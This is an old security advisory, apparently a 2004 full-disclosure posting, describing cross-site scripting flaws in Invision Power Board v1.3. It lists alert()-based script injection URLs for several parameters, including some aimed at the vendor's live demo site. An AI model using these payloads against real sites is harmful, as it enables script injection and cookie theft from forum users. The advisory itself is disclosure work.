invision13.txt

`~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Software: Invision Power Board  
Vendor: http://www.invisionboard.com/  
Versions: (U) v1.3 Final  
Bug: Cross Site Scripting Vulnerabillity  
Risk: Medium  
Exploitation: Remote with browser  
Date: 29 Feb 2004  
Author: Rafel Ivgi, The-Insider  
E-Mail: [email protected]  
Web: http://theinsider.deep-ice.com  
  
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1) Introduction  
2) Bug  
3) The Code  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
===============  
1) Introduction  
===============  
  
Invision Power Board is available under a yearly and lifetime purchase  
option for both personal and commercial use, no catches, no "spyware",  
no hidden costs anywhere.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
======  
2) Bug  
======  
  
The Vulnerabillity is Cross Site Scripting.  
The vulnerable form fields are "c","f","showtopic","showuser","username".  
If an attacker will request the following url from the server:  
  
http://<host>/?c='><script>alert(window.document.url)</script><plaintext>  
Or  
http://<host>/?showtopic='><script>alert(window.document.url)</script><plain  
text>  
Or  
http://<host>/?act=SR&f='><script>alert(document.cookie)</script>  
Or  
http://<host>/?showuser='><script>alert(document.cookie)</script>  
Or  
http://<host>/index.php?act=Reg&CODE=2&coppa_user=0&UserName='><script>alert  
(document.cookie)</script>  
  
  
XSS appears and the server allows an attacker to inject & execute scripts.  
  
  
In the words of securityfocus.com :  
~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
If all of these circumstances are met, an attacker may be able to exploit  
this issue  
via a malicious link containing arbitrary HTML and script code as part of  
the hostname.  
When the malicious link is clicked by an unsuspecting user, the  
attacker-supplied HTML  
and script code will be executed by their web client. This will occur  
because the server  
will echo back the malicious hostname supplied in the client's request,  
without sufficiently  
escaping HTML and script code.  
  
Attacks of this nature may make it possible for attackers to manipulate web  
content or to  
steal cookie-based authentication credentials. It may be possible to take  
arbitrary actions as the victim user.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
===========  
3) The Code  
===========  
  
http://<host>/?c='><script>alert(window.document.url)</script><plaintext>  
http://<host>/?showtopic='><script>alert(window.document.url)</script><plain  
text>  
http://<host>/?act=SR&f='><script>alert(document.cookie)</script>  
http://<host>/?showuser='><script>alert(document.cookie)</script>  
http://<host>/index.php?act=Reg&CODE=2&coppa_user=0&UserName='><script>alert  
(document.cookie)</script>  
  
Live Example:  
http://demo.invisionboard.com/?c='><script>alert(window.document.url)</scrip  
t><plaintext>  
http://demo.invisionboard.com/?showtopic='><script>alert(window.document.url  
)</script><plaintext>  
http://demo.invisionboard.com/?act=SR&f='><script>alert(document.cookie)</sc  
ript>  
http://demo.invisionboard.com/?showuser='><script>alert(document.cookie)</sc  
ript>  
http://demo.invisionboard.com/index.php?act=Reg&CODE=2&coppa_user=0&UserName  
='><script>alert(document.cookie)</script>  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
---  
Rafel Ivgi, The-Insider - advisory#41.txt  
http://theinsider.deep-ice.com  
  
"Things that are unlikeable, are NOT impossible."  
`